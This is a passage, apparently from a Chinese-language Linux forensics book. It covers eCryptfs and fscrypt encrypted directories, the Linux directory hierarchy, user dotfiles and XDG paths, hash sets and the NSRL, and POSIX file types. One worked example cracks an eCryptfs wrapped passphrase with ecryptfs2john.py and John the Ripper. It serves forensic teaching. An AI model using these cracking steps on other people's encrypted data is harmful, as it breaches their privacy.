文件和目录名也被加密,以隐藏文件类型或内容的信息。以下是一个加密文件名的示例 (secrets.txt):

ECRYPTFS_FNEK_ENCRYPTED.FWb.MkIpyP2LoUSd698zVj.LP4tIzB6lyLWDy1vKIhPz8WBMAYFCpelfHU--

在进行取证检查时,搜索以 ECRYPTFS_FNEK_ENCRYPTED.* 为前缀的文件可以揭示 eCryptfs 已被使用。

内容和文件名已加密,但有一些元数据可能对调查有用。这里我们比较加密文件和解密文件的 stat 输出(来自 inode 的信息):

   $ stat Private/secrets.txt
     File: Private/secrets.txt
  ➊ Size: 18     Blocks: 24     IO Block: 4096  regular file
   Device: 47h/71d Inode: 33866440  Links: 1
   Access: (0640/-rw-r-----) Uid: ( 1000/   sam)  Gid: ( 1000/   ➋ sam)
➌ Access: 2020-11-21 10:14:56.092400513 +0100
   Modify: 2020-11-21 09:14:45.430398866 +0100
   Change: 2020-11-21 14:27:43.233570339 +0100
    Birth: -
   ...
   $ stat .Private/ECRYPTFS_FNEK_ENCRYPTED.FWb.MkIpyP2LoUSd698zVj.
   LP4tIzB6lyLWDy1vKIhPz8WBMAYFCpelfHU--
   File: .Private/ECRYPTFS_FNEK_ENCRYPTED.FWb.MkIpyP2LoUSd698zVj.
   LP4tIzB6lyLWDy1vKIhPz8WBMAYFCpelfHU--
 ➊ Size: 12288     Blocks: 24     IO Block: 4096  regular file
  Device: 1bh/27d Inode: 33866440  Links: 1
  Access: (0640/-rw-r-----) Uid: ( 1000/   sam)  Gid: ( 1000/   ➋ sam)
➌ Access: 2020-11-21 10:14:56.092400513 +0100
   Modify: 2020-11-21 09:14:45.430398866 +0100
   Change: 2020-11-21 14:27:43.233570339 +0100
    Birth: 2020-11-21 09:14:45.430398866 +0100

加密文件与其解密文件具有相同的时间戳 ➌、权限和所有权 ➋。文件大小 ➊ 不同,加密文件的大小至少为 12,288 字节。挂载后,加密文件和解密文件显示相同的 inode 号(尽管它们位于不同的挂载文件系统中)。

解密文件仅在运行中的系统上挂载时可用。要访问解密内容(假设已知密码短语),可以将加密目录复制到分析系统并解密。为此,安装 ecryptfs-utils 软件包,复制三个目录(.ecryptfs/.Private/Private/),然后运行 ecryptfs-mount-private。系统会请求输入密码短语,然后将挂载解密目录(Private/)。可以使用 inode 号来匹配对应的加密和解密文件(ecryptfs-find 工具也可以做到这一点)。

要卸载(使加密文件不可用),运行 ecryptfs-umount -private 命令。有关解密的替代位置和方法,请参见 mount.ecryptfs_private(1) 手册页。

一个 eCryptfs 目录关联着两个密码:挂载密码短语包装密码短语。默认情况下,挂载密码短语是一个随机生成的 32 字符十六进制字符串,用户可能被要求保存它以备不时之需(如果忘记了他们的包装密码短语)。该挂载密码短语被提供给内核,以便挂载和解密文件。包装密码短语保护挂载密码短语,并由用户选择,用户可以在不影响加密文件的情况下更改它。包装密码短语通常与用户的登录密码相同。

在法医检查中,成功找到这个备份密码短语可能允许访问加密文件。如果发现了挂载密码短语,则可以使用 ecryptfs-wrap-passphrase 命令设置新的包装密码短语。然后可以使用这个新设置的密码短语来挂载 eCryptfs 目录。

作为最后的手段,密码破解工具 John the Ripper 支持尝试恢复 eCryptfs 密码。在以下示例中,我们首先从 eCryptfs 包装密码短语文件中提取信息,并将其保存为 John the Ripper 可以理解的格式。然后我们运行 john 进行破解:

$ ecryptfs2john.py .ecryptfs/wrapped-passphrase > ecryptfs.john
$ john ecryptfs.john
Using default input encoding: UTF-8
Loaded 1 password hash (eCryptfs [SHA512 128/128 AVX 2x])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
canada           (wrapped-passphrase)
1g 0:00:01:35 DONE 2/3 (2020-11-20 15:57) 0.01049g/s 128.9p/s 128.9c/s
128.9C/s 123456..maggie
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

经过一番数据计算和词汇表暴力破解后,John the Ripper 发现 ecryptfs 密码是 canada

Fscrypt 和 Ext4 目录加密

Linux 内核提供了在文件系统级别(与 LUKS 的块级别相对)使用 fscrypt 加密文件和目录的能力。最初,这是 ext4 的一部分,但它已被抽象化,以支持其他文件系统(例如 F2FS)。该内核 API 如下所述: www.kernel.org/doc/html/latest/filesystems/fscrypt.html。你可以使用像 fscryptfscryptctl 这样的用户空间工具来设置内核并对指定目录进行加锁和解锁加密。

可以在多个地方找到 fscrypt 使用的证据。ext4 文件系统会显示出指示 fscrypt 功能可用的痕迹:

$ dumpe2fs -h partimage.raw
...
Filesystem features:      has_journal ext_attr resize_inode dir_index filetype
needs_recovery extent 64bit flex_bg encrypt sparse_super large_file huge_file
dir_nlink extra_isize metadata_csum
...

注意超级块输出中的 encrypt 特性。fscrypt 的支持通常默认情况下不会启用(主要是为了向后兼容)。如果启用了它,这并不意味着正在使用 fscrypt 加密;然而,它表明它已被显式启用,这意味着应进一步检查。

一些 fscrypt 用户空间工具可能会在系统上创建痕迹。例如,Google 的 fscrypt (github.com/google/fscrypt/ ) 创建了一个配置文件 /etc/fscrypt.conf 和一个隐藏目录 /.fscrypt/,位于文件系统的根目录中。搜索这些文件表明使用了 fscrypt 功能。另一个(可能的)指示符是存在长且晦涩的文件名,这些文件名无法复制。以下输出分别显示了一个 fscrypt 目录的加锁和解锁状态:

$ ls KEEPOUT/
GpJCNtGVcwD7bkNVer7dWV8aTlb8gt2PP3,pG23vDQtRTldW1zpS7D
OWmj3cUXuNmIMZN6VP+qiE8DgR0ZZAXwVynF5ftvSaBBmayI9dq3HA
...
$ ls KEEPOUT/
report.doc video.mpeg

与 eCryptfs 不同,加密文件不能复制到分析机器上。没有密钥,文件系统无法访问这些文件:

$ cp KEEPOUT/* /evidence/
cp: cannot open 'KEEPOUT/GpJCNtGVcwD7bkNVer7dWV8aTlb8gt2PP3,pG23vDQtRTldW1zpS7D'
for reading: Required key not available
cp: cannot open 'KEEPOUT/OWmj3cUXuNmIMZN6VP+qiE8DgR0ZZAXwVynF5ftvSaBBmayI9dq3HA'
for reading: Required key not available

只有在整个文件系统在取证分析机器上可访问且内核中已配置加密的情况下,才能解密访问该目录。用于加密目录的用户空间工具也必须安装在分析机器上。如果知道密码短语,则可以访问加密目录。应比较取证分析机器和嫌疑驱动器上的文件/etc/fscrypt.conf,该文件可能需要被复制(它包含配置信息)。

以下示例显示了使用 fscrypt 工具访问 ext4 文件系统中加密目录上的证据:

# mount /dev/sdb /evidence/
# fscrypt unlock /evidence/KEEPOUT/
Enter custom passphrase for protector "sam":
"/evidence/KEEPOUT/" is now unlocked and ready for use.

第一行中,ext4 分区挂载在 /evidence/(这仍然是一个正常的文件系统;这里没有异常)。第二行中,fscrypt unlock 命令指定了加密目录并请求密码短语。所需的密钥信息存储在驱动器根目录下的 .fscrypt/ 目录中,但需要密码短语来解密它。

元数据在 fscrypt 下是未加密的。无论目录是加锁还是解锁,inode 信息(使用 statistat)都是相同的。时间戳、所有权、权限等信息都可见,即使目录是加密的(加锁)。

总结

在本章中,我已经解释了存储的法医分析。你已经学会了检查磁盘布局和分区表、RAID 和 LVM。三种最流行的 Linux 文件系统已经被解释,重点是分析和恢复有价值的法医证据。显然,社区的法医工具开发在某些领域存在不足,但这是一个正在发展中的研究领域,随着时间的推移将逐渐成熟。

第四章:Linux 文件的目录布局与法医分析

Image

上一章描述了存储和文件系统的法医分析,这些是创建层次文件树幻象的低级构建模块。本章重点讨论该文件树的布局,详细查看各个文件,并识别数字法医检查员感兴趣的特定区域。

Linux 目录布局

在对 Linux 系统进行法医检查时,了解磁盘上文件和目录的组织结构可以帮助调查员快速定位感兴趣的区域和证据,忽略那些不太可能包含证据的区域。

Linux 采用了传统 Unix 的树状结构,从 目录开始,根目录由正斜杠(/)表示。额外的文件系统可以通过挂载(mount)附加到树中任何子目录下,这些文件系统可以位于本地存储或远程网络服务器上。

原始的 Unix 系统将文件系统层次结构组织为不同的目录,用以区分可执行程序、共享库、配置文件、设备、文档、用户目录等内容。^(1) 如今,Linux 系统仍然使用那些目录的原始名称。

文件系统层次结构

这个层次树的顶部称为根目录,或者 /(不要与根用户的主目录 /root/ 混淆)。所有的子目录、挂载的存储媒体、挂载的网络共享或其他挂载的虚拟文件系统都被附加到这个“倒立”的树下,如 图 4-1 所示。这个过程被称为 挂载 文件系统,而文件系统挂载的目录(通常为空)称为 挂载点。PC DOS 世界的区别在于,附加的文件系统(无论是本地的还是远程的)都是通过独立的驱动器字母(A:、B:、...、Z:)来表示的。

Image

图 4-1:文件系统树结构

POSIX 和 Open Group UNIX 标准并未为 Unix 厂商定义一个详细的目录布局^(2)。Unix 系统和 Linux 发行版在 hier(7) 或 hier(5) 手册页中记录了它们的目录层次结构。Linux 社区开发了 文件系统层次标准(FHS)^(3),以鼓励发行版之间采用统一的布局。现代的 Linux 系统也有一个 file-hierarchy(7) 手册页,其中包含与 systemd 相关的额外信息。本节其余部分将描述 Linux 中常用的各个顶级目录及其与法医分析的相关性。

/boot/ 和 efi/

/boot/efi/ 目录^(4) 包含用于启动系统的文件。启动配置(内核参数等)可以在这里找到。当前和之前的内核文件也可以在此找到,以及初始的 ramfs,它们可以被检查。在 EFI 系统中,EFI 分区(一个 FAT 文件系统)通常挂载在 /boot/ 目录内。应当检查任何非标准或非默认的文件,这些文件可能已经被添加到 /boot/efi/ 目录中。第六章关于 Linux 系统初始化的取证分析会详细描述这些目录。

/etc

/etc/ 目录是系统范围配置文件和其他数据的传统位置。大多数这些文件都是可以直接检查的纯文本文件。配置文件可能有一个对应的目录,使用 .d 扩展名,用于存放作为配置一部分的附加文件^(5)。这些文件的创建和修改时间戳可能在调查中非常有用,因为它们显示了特定配置文件何时被添加或更改。此外,用户在 /home/ 目录下的用户特定配置文件可能会覆盖系统范围的 /etc/ 文件。此处常常可以发现与发行版或软件默认设置不同的情况,这些偏差可能对取证有价值。发行版的默认文件副本有时会存放在 /usr/share/factory/etc/* 目录中,可以与 /etc/ 目录中的文件进行比较。当一些发行版对 /etc/ 中的配置文件进行升级时,可能会创建旧文件的备份副本,或者将新文件添加带有扩展名(例如 Arch 的 Pacman 使用 **.pacnew*)。本书中会更详细地解释 /etc/ 目录中的各种文件。

/srv

/srv/ 目录用于服务器应用程序内容,例如 FTP 或 HTTP 文件。这个目录在检查时可以查看是否包含已发布或通过网络可访问的文件。许多发行版没有使用此目录,因此它可能是空的。

/tmp/

/tmp/ 目录用于存储临时文件。根据发行版或系统配置,这些文件可能会定期删除或在启动时删除。在某些 Linux 发行版中,/tmp/ 的内容可能会存储在 RAM 中,使用 tmpfs 虚拟内存文件系统。在取证镜像中,使用 tmpfs 挂载 /tmp/ 的系统可能会为空。有关系统如何管理临时文件的更多信息,请参见 systemd-tmpfiles(8) 手册页,关于虚拟内存文件系统的更多细节,请参见 tmpfs(5) 手册页。

/run/

/run/ 目录是一个 tmpfs 挂载的目录,位于 RAM 中,在取证镜像中通常是空的。在运行中的系统中,这个目录包含运行时信息,如 PID 文件、锁文件、systemd 运行时配置等。可能会在日志或配置文件中发现对 /run/ 目录中文件和目录的引用。

/home/ 和 /root

/home/ 目录是用户主目录的默认位置。用户的主目录包含该用户创建或下载的文件,包括配置文件、缓存、数据、文档、媒体、桌面内容以及其他该用户拥有的文件。/etc/skel/ 目录(可能仅包含隐藏的“.”文件)包含新创建的 /home/ 目录的默认内容。root 用户的主目录通常是根文件系统中的 /root/。这是故意这样设计的,以便即使 /home/ 没有挂载,root 仍然可以登录。这些主目录对于法医调查员来说非常重要,因为它们提供了关于系统人类用户的信息。如果法医镜像中的 /home/ 目录为空,可能意味着用户的主目录挂载自另一个文件系统或通过网络挂载。用户主目录的创建(出生)时间戳可能指示用户帐户首次添加的时间。第十章详细介绍了 /home/ 目录的内容。

/bin/, /sbin/, /usr/bin/, 和 /usr/sbin/

可执行程序的标准位置是 /bin//sbin//usr/bin//usr/sbin/。这些目录最初是为了区分不同组的程序:供用户、管理员、启动过程或单独挂载的文件系统使用。今天,/bin//sbin/ 通常会符号链接到 /usr/ 中相应的目录,有时 /bin//sbin//usr/sbin/ 甚至会符号链接到一个包含所有程序的单一 /usr/bin/ 目录。在检查挂载到你自己 Linux 分析机上的可疑驱动器中的符号链接目录时要小心,这些符号链接可能指向你自己的目录,而非可疑驱动器。

/lib/ 和 /usr/lib/

/lib/ 目录在今天的大多数 Linux 系统中通常是符号链接到 /usr/lib/。该目录包含共享库代码(也适用于多个平台)、内核模块、编程环境的支持(头文件)等。/lib/ 目录还包含许多软件包的默认配置文件。

/usr/

/usr/ 目录包含系统大部分静态的只读数据。这包括二进制文件、库、文档等。大多数 Linux 系统会将 /bin//sbin//lib/ 符号链接到 /usr/ 子目录中的相应目录。此处的文件,如果不是任何已安装包的一部分,可能具有法医调查意义,因为它们是在正常软件安装过程中之外添加的。这些文件可能是具有 root 权限的用户手动安装的文件,或者是恶意行为者放置的未授权文件。

/var/

/var/ 目录包含变化中的系统数据(可变的),并且通常在重启后保持持久性。/var/ 下面的子目录从取证的角度来看尤其有趣,因为它们包含日志、缓存、历史数据、持久化的临时文件、邮件和打印子系统等内容。本书的一个重要部分涉及 /var/ 目录中的文件和目录。

/dev/、/sys/ 和 /proc/

Linux 还有几个其他的 tmpfs 和伪文件系统,这些文件系统在系统运行时看起来包含文件,包括 /dev//sys//proc/。这些目录提供设备或内核数据结构的表示,但内容实际上并不存在于普通文件系统中。在检查取证镜像时,这些目录可能为空。有关更多详细信息,请参见 procfs(5) 和 sysfs(5) 手册页。

/media/

/media/ 目录用于存放动态创建的挂载点,用于挂载外部可移动存储设备,如 CD-ROM 或 USB 驱动器。在检查取证镜像时,这个目录可能为空。日志、文件系统元数据或其他持久数据中的 /media/ 引用可能提供关于用户附加(挂载)外部存储设备的信息。

/opt/

/opt/ 目录包含附加包,这些包通常按供应商名称或包名称分组。这些包可能会创建一个自包含的目录树来组织它们自己的文件(例如,bin/etc/ 和其他常见子目录)。

/lost+found/

每个文件系统的根目录下可能会存在一个 /lost+found/ 目录。如果运行文件系统修复(使用 fsck 命令),并且发现一个没有父目录的文件,那么该文件(有时称为 孤儿文件)将被放入 /lost+found/ 目录中,以便进行恢复。这些文件没有原始名称,因为包含文件名的目录未知或丢失。

./ 和 ../

每个目录中都有两个隐藏的子目录(./ 和 ../)。单个点(.)表示当前目录,双点(..)表示父目录。在树的顶部,这两个文件也存在,并且都表示根目录(/)(并且具有相同的 inode 编号)。从低级文件系统的角度来看,这些点文件用于将目录与其父目录链接,创建出层级树的假象。

用户主目录

法医调查通常涉及对人类用户活动的分析(其中用户可能是受害者或嫌疑人)。Linux 系统上的所有用户都有一个主目录,在该目录中他们可以保存文件和文档、自定义环境、存储持久和缓存数据,并保留历史数据(例如浏览器 cookie、shell 历史或电子邮件)。用户的主目录包含大量潜在的证据,调查人员可以利用这些证据重建过去的事件和活动。用户主目录的位置在 /etc/passwd 文件中定义,通常默认位于 /home/ 目录下,并以用户的用户名命名(例如,/home/sam/)。用户的主目录也可以用波浪号(~)简写,供命令行或文档中使用。

隐藏点文件和 XDG 基础目录

通常的做法是将用户配置数据保存在以点(.)开头的隐藏文件和目录中,并且这些文件和目录的名称通常与被配置的程序相同。以下是一些常见的保存在主目录中隐藏文件里的信息示例:

.bash_history 用户输入的 shell 命令历史

.lesshst less 命令的搜索历史

.viminfo 搜索和命令历史,以及 vim 编辑过的文件痕迹

.wget-hsts wget 访问过的主机列表^(6),带时间戳

.forward 包含自动转发的电子邮件地址的文件

.apvlvinfo 使用 apvlv PDF 查看器查看的 PDF 历史

对于更复杂的用户配置、缓存、历史和持久数据,某个应用程序可能会创建一个专用的隐藏目录,包含多个文件和子目录来组织数据。以下是一些例子:

.ssh/ 安全外壳配置、密钥和访问过的已知主机列表

.gnupg/ GPG 配置、密钥以及其他人添加的公钥

.thunderbird/ 电子邮件和日历账户,以及用于离线访问的同步电子邮件和日历内容

.mozilla/ Firefox 配置、cookie、书签、浏览历史和插件

.zoom/ Zoom 配置、日志、通话历史和共享数据

.john/ John the Ripper 密码破解历史和已发现的密码

.ICAClient/ Citrix 客户端配置、缓存、日志及其他数据

任何软件包的开发者都可以自由选择保存什么内容以及保存在哪里。虽然使用隐藏文件和目录来存储信息并不是必需的,但它已经成为一种常见的做法。

随着时间推移,典型用户的主目录中的点文件数量变得庞大,这促使了标准化的需求。前 X 桌面组(今天称为 freedesktop.org)创建了 XDG 基目录规范 (www.freedesktop.org/wiki/Specifications/basedir-spec/),该规范定义了用于存储用户特定数据的标准位置。^7 该规范定义了操作系统和应用程序可以使用的环境变量和默认位置,而不是在用户的主目录中创建自己的专有文件和目录。这些位置环境变量和相关的默认位置是:

  • 数据文件:$XDG_DATA_HOME 或默认的 ~/.local/share/

  • 配置文件:$XDG_CONFIG_HOME 或默认的 ~/.config/

  • 非必要的缓存数据:$XDG_CACHE_HOME 或默认的 ~/.cache

  • 运行时文件:$XDG_RUNTIME_DIR 或通常是 /run/user/UID(其中 UID 是用户的数字 ID)

此外,规范定义了两个搜索变量,$XDG_DATA_DIRS$XDG_CONFIG_DIRS,它们包含额外配置的路径(通常是为了包含系统范围的,或 Flatpak 和 snap 目录)。/run/ 目录挂载在一个基于临时 RAM 文件系统(tmpfs)的文件系统上,因此用户的运行时文件仅在系统运行且用户已登录时存在。在检查法医镜像时,/run/ 目录将为空。

用户应用程序和系统信息的位置

在进行事后法医分析时,数据、配置和缓存目录包含了关于应用程序和系统组件的大量信息,这些信息与用户的活动有关。本书的其余部分会详细描述这些位置,但让我们来看一些示例。

将数据放置在 ~/.cache/ 目录中的程序预计这些数据可能会被删除。它被认为是“非必要的”,但会在时间上和跨登录会话与重启之间保持持久性。任何程序都可以在 ~/.cache/ 中创建文件或目录,用于存储出于性能和效率原因的数据。

以下是一些信息的示例以及可能保存它们的程序:

  • 浏览器缓存 HTML、图片、JavaScript 和安全浏览信息

  • 存在一个用于网页图标的单独目录

  • 软件中心缓存文件列表、图片、评分和信息

  • 一些邮件客户端存储缓存的电子邮件和日历

  • 包管理器保存下载的软件包

  • 程序存储缩略图、图片和专辑封面

  • 窗口管理器和桌面环境保存会话信息和日志

  • 一些程序将 .cache 作为自动保存打开文件的位置

  • 临时屏幕截图数据

  • 其他由程序为提高性能或效率而存储的缓存数据

~/.cache/目录存储可以重新下载、在本地生成或以其他方式恢复和重新创建的任何内容。这些文件包含关于系统和不同应用程序使用的信息。创建和修改时间戳可能有助于重建过去活动的时间线。

用户的/.config/*目录本应只包含配置数据,但许多应用程序开发人员也将其用于其他用途,如历史记录和缓存信息。*/.config/中的文件可能以**rc结尾,或具有.conf.ini.xml.yaml*等配置格式的扩展名。此处找到的大多数文件是普通文本文件,可以使用任何文本编辑器或查看器轻松查看。

在某些情况下,配置信息存储在数据库中,需要提取。由于这是自由和开源的世界,通常会有工具和规范来帮助分析这些数据库。一些存储在~/.config/目录中的数据示例包括:

  • 应用程序的常规配置(不包括数据)

  • 桌面工件(垃圾、会话配置、自动启动和 dconf)

  • 应用程序扩展和插件

  • 包含唯一标识符和许可证数据的文件

  • 一些浏览器的 Cookies

  • 应用程序状态数据(首次运行、初始欢迎横幅)

  • 用户账户和远程服务器的配置

  • 通信应用程序(Wire、Jitsi)日志、持久性和缓存

  • mimeapps.list文件中指定的默认应用程序

  • 程序存储的任何其他任意配置数据

除了来自应用程序的常规配置数据外,~/.config/目录在搜索用户名、电子邮件地址和主机名方面也很有意思,这些信息可能表明远程连接和活动。在某些情况下,您还可以在用户配置文件中找到密码或密码哈希。

~/.local/share/目录用于存储应用程序积累或生成的持久数据。此处保存的数据示例包括:

  • 发行版特定的配置

  • 图形登录会话配置

  • 桌面特定配置

  • 桌面捆绑应用程序(阅读器、笔记、文件管理器等)

  • 常见的共享缩略图

  • 桌面回收站

  • 一些浏览器的 Cookies

  • 一些应用程序的日历和联系人数据库

  • 最近使用的文件和位置(**.xbel*文件)

  • Snap 和 Flatpak 应用程序信息

  • KDE 的 Baloo 文件索引和搜索

  • GNOME 的跟踪文件索引和搜索

  • 秘密钥匙环和密码钱包

  • 剪贴板管理器数据

  • Xorg 日志

  • 程序存储的任何其他持久数据

大多数发行版和应用程序开始遵循 XDG 规范,因此为取证调查人员提供了常见的感兴趣文物位置。然而,一些应用程序并没有正确地遵循 XDG 基础目录规范,或者根本没有遵循。这可能是历史原因、向后兼容性,或其他原因。Arch Linux 的维基维护了一个列表 (wiki.archlinux.org/index.php/XDG_Base_Directory),列出了应用程序与 XDG 基础目录规范的兼容性。如你所见,每个应用程序都可以自由选择保存什么、如何保存以及保存在哪里。即使在不同的桌面环境和发行版之间,只有 XDG 基础目录是统一的,但这也不是强制性的要求。在分析用户的主目录时,务必检查 /home/ 和 XDG 基础目录中的每个隐藏文件和目录。

独立于应用程序,XDG 标准建议在用户的 /home/ 目录中,根据类别存储用户文件的常见目录列表。这些目录在 /etc/xdg/user-dirs.defaults 中定义,如果这些目录不存在,它们可能会在登录时创建:

  • Desktop/

  • Downloads/

  • 模板/

  • Public/

  • Documents/

  • Music/

  • Pictures/

  • Videos/

Desktop/ 目录用于存放将在用户桌面上显示的文件,Downloads/ 目录是应用程序保存下载文件的默认位置。应用程序(如办公套件)引用 Templates/ 目录,在用户创建新文档时建议模板文件。Public/ 目录可以作为其他用户(通常在本地局域网内)访问文件的开放共享。其余目录不言自明,相关应用程序可以使用这些目录作为存储文档和媒体文件的默认位置。

这些目录名称根据本地语言的设置而创建。例如,在我的德语测试系统上,以下文件夹对应英文名称:Schreibtisch/Vorlagen/Downloads/Öffentlich/Dokumente/Musik/Bilder/,和 Videos/

~/下载/ 目录可能值得分析。当一些浏览器开始下载文件时,它们会创建一个临时文件,然后在下载完成后将其移动到正确的文件名(Firefox 使用 *.part 作为临时文件)。这意味着出生时间戳(crtime)表示下载开始的时间,而内容的最后修改时间戳(mtime)表示下载完成的时间。因为我们知道文件的大小,我们甚至可以计算出当时通过网络连接下载的近似速度。

这里,一个 7GB 的 DVD 下载从 8:51 开始,9:12 完成:

$ stat ~/Downloads/rhel-8.1-x86_64-dvd.iso
...
  Size: 7851737088Blocks: 15335432  IO Block: 4096  regular file
...
Modify: 2020-03-26 09:12:47.604143584 +0100
...
Birth: 2020-03-26 08:51:10.849591860 +0100

知道文件下载的开始和结束时间在取证调查中可能非常有用,特别是在重建用户活动时间线时。

本书并不专注于 Linux 应用分析,因此这些示例简短且不完整。某些文件和目录(例如.ssh.gnupg)在本书的其他地方有更详细的介绍。此处展示的其他示例说明了存储在 Linux 系统上的应用数据的常用位置和内容。有关单个应用程序的取证分析技巧的良好信息来源包括《法医科学国际》期刊的数字调查,DFRWS 大会和www.ForensicFocus.com/

Linux 的哈希集和 NSRL

数字取证中常用的一种识别文件的方法是使用加密哈希值(MD5、SHA-1 等)来创建唯一的指纹或签名。你可以从软件包或其他已知的文件集合中创建加密哈希值列表。这些已知文件哈希值的列表被称为哈希集哈希数据库。在数字取证中,哈希集通常用于忽略无关文件或识别特别重要的文件。

在用哈希集忽略无关文件时,可以减少需要检查的文件数量。例如,如果调查人员只对创建、修改或下载的文件感兴趣,而不涉及操作系统的安装文件,他们可以使用哈希集过滤掉已知属于该操作系统的文件。在取证分析中,通常会忽略的已知文件示例包括:

  • 操作系统及其所有支持文件

  • 设备驱动程序

  • 应用软件

  • 公司生成的标准服务器或客户端安装的哈希集

哈希集只识别文件的内容,而不是文件系统上已安装文件的元数据。时间戳、权限、所有权等是文件系统的一部分,不包括在哈希集中。

在识别特别重要的文件时,调查人员使用哈希集来搜索取证磁盘镜像中是否存在这些文件。例如,如果调查人员有一份涉及某个特定网络攻击的文件哈希列表,他们可以专门搜索受影响的机器是否存在这些文件。在取证分析中,通常需要关注的已知文件包括:

  • 妥协指示器(IOCs),可能包括恶意软件组件的哈希值

  • 某些分类的软件(例如键盘记录器或比特币挖矿程序)

  • 已知的非法材料(这些哈希集通常仅供执法机关使用)

  • 在企业环境中已知的泄露或敏感文件

哈希集还用于通过将安装的文件与预期的供应商提供的哈希值进行比较,来查找修改过的或植入木马的二进制可执行文件。

你可以在多个地方找到已知文件的哈希集。安全社区经常分享 IOC 和安全相关的哈希集,网络安全公司将其作为威胁情报数据流出售。执法机构分享非法材料的哈希集,这些哈希集仅供其他警方取证实验室使用。大型公司可能会创建内部开发的软件包或标准服务器/客户端安装的哈希集。

NIST 维护国家软件参考库(NSRL),^(8)这是一个已知软件包的集合。NIST 提供 NSRL 哈希集的免费下载 (www.nsrl.nist.gov/)。NSRL 哈希集是一个压缩文件列表,包含哈希值、文件名、产品和其他信息;例如:

"000C89BD70552E6C782A4754536778B027764E14","0D3DD34D8302ADE18EC8152A32A4D934",
"7A810F52","gnome-print-devel-0.25-9.i386.rpm",244527,2317,"Linux",""
...
"001A5E31B73C8FA39EFC67179C7D5FA5210F32D8","49A2465EDC058C975C0546E7DA07CEE",
"E93AF649","CNN01B9X.GPD",83533,8762,"Vista",""

NSRL 数据集的格式定义见 www.nist.gov/system/files/data-formats-of-the-nsrl-reference-data-set-16.pdf/

哈希集也作为商业产品提供。这些通常包括 NSRL 哈希集、可以从商业产品中提取的额外哈希(未包含在 NSRL 中)以及其他来源。一个流行的例子是 www.hashsets.com/,它提供增补 NSRL 数据的哈希集订阅。

大多数数字取证软件(包括像 Autopsy 和 The Sleuth Kit 这样的免费开源工具)支持在分析中包含和排除哈希集。

维护 Linux 系统和自由及开源软件(FOSS)的一致性哈希集会带来一些困难。以下是几个例子:

  • 类似 Arch Linux 这样的滚动发行版会每天更新。

  • 有些软件包是从源代码编译的,可能会生成仅与安装系统相关的文件。

  • 有些软件运行安装脚本,这些脚本可能会生成仅与安装系统相关的文件。

  • 许多不同的 Linux 发行版提供自己的软件仓库,这些仓库不断变化和更新(请参见 distrowatch.com/)。

  • Linux 用户可能直接从开发者处下载软件,然后手动编译和安装到他们自己的系统中。

这种动态的变化和开发环境使得维护哈希集变得更加困难。相比之下,商业软件供应商有明确的软件发布周期和产品包。

大多数开源软件开发者提供源代码的哈希值或 GPG 签名以验证完整性。但这些哈希值是针对源代码的,而不是编译后的二进制文件。大多数 Linux 发行版会提供已编译的二进制软件包的哈希值或 GPG 签名,甚至有些会包含每个单独文件的哈希值(请参见第七章有关软件安装的更多信息)。

Linux 文件类型和识别

文件类型 这个词组有两种含义。在低层文件系统的上下文中,它指的是 Unix 或 POSIX 文件类型。在高层应用的上下文中,它指的是文件内容类型。在进行取证检查时,理解这个区别非常重要。此外,“隐藏”文件(通常只是普通文件,并非真正隐藏)可以为调查提供重要信息。

POSIX 文件类型

Linux 是按照 Unix 的“凡事皆文件”哲学开发的。为了实现这一概念,需要特殊的文件类型来扩展功能,超越普通文件和目录。Linux 采纳了 POSIX 标准定义的七种基本文件类型,允许将特殊对象表示为文件。这些文件类型包括:

  • 普通文件

  • 目录

  • 符号链接

  • 命名管道或 FIFO

  • 块特殊文件

  • 字符特殊文件

  • 套接字

在 Linux 系统中,每个“文件”都被分类为这些类型之一,可以通过 ls -lfile 命令(以及其他命令)来确定。理解这些文件类型之间的区别对取证调查人员来说非常重要,因为并非所有文件都与数据存储有关(并可能包含证据)。有些文件提供对硬件设备的访问,或促进程序之间数据的流动。理解这一系统行为有助于重构过去的事件,并定位存储在其他位置的潜在证据。让我们更详细地看看这七种文件类型:

普通文件 普通文件就是字面意思:一个包含数据的文件,如文本、图片、视频、办公文档、可执行程序、数据库、加密数据或任何其他通常存储在文件中的内容。普通文件中的数据存储在存储介质的文件系统块中。

目录文件 这些是特殊的文件,包含目录内容的列表,包括文件名及其对应的 inode。它们允许文件和目录以树形结构进行层次化组织。然而,这只是一个抽象,因为在低层次上,文件块可以位于驱动器的任何位置。目录也叫做文件夹,通常通过 mkdir 等命令创建。

符号链接 这种类型的文件表示指向另一个文件的指针(类似于 Windows 中的 LNK 文件,但没有附加的元数据)。符号链接是一个小文件,包含另一个文件的路径和名称(根据文件系统的不同,这些信息可能存储在链接的 inode 中)。符号链接文件的大小与它指向的文件名的长度相同。符号链接允许指向不存在的文件,从取证的角度来看这可能很有趣。这表明某个文件曾经存在过,或曾经在一个挂载的文件系统中。符号链接也叫做 symlink,可以通过 ln -s 命令创建。

字符设备和块设备特殊文件 这些文件通过设备驱动程序或内核模块提供对硬件设备(和伪设备)的访问。它们通常位于/dev/目录中。现代 Linux 系统会动态创建和删除这些文件,但也可以通过mknod命令手动创建。块设备通常用于访问存储介质,可以进行缓冲、缓存或其他抽象。字符设备和块设备特殊文件都通过在设备文件创建时指定的主设备号和次设备号与设备关联。使用ls -lstat命令可以识别主设备号和次设备号。要查看运行中的 Linux 系统分配的主设备号和次设备号,可以查看/sys/dev/block//sys/dev/char/目录。可以使用lsblk命令列出块设备。字符或块文件的文件大小为零字节。

命名管道或 FIFO 这些文件提供单向的进程间通信,允许两个程序之间的数据传输。一个程序写入管道,可以将数据传输到另一个正在从同一管道读取的程序。mkfifomknod命令用于创建管道。管道的文件大小为零字节。

套接字文件 这些文件也提供进程间通信,具有双向功能,多个程序可以同时使用它们。它们通常由提供本地服务的守护进程创建(而不是使用 TCP/IP 套接字),并在退出时被删除。套接字文件也可以通过 systemd 套接字激活来创建。

为什么硬链接不在这个文件类型列表中?硬链接不被视为一种文件类型。硬链接 只是与现有 inode(inode 代表实际文件,如第三章所述)关联的附加文件名。

稀疏文件 本身并不是一种文件类型,而是文件系统的一项特性,允许包含连续零序列的常规文件以紧凑的形式写入磁盘。

在进行死后取证分析时,检查不同的文件类型时,请注意以下几点:

  • 块设备和字符设备特殊文件会在系统运行时动态创建(和删除),这些文件位于/dev//sys/目录下。在进行取证检查时,这些目录可能是空的。

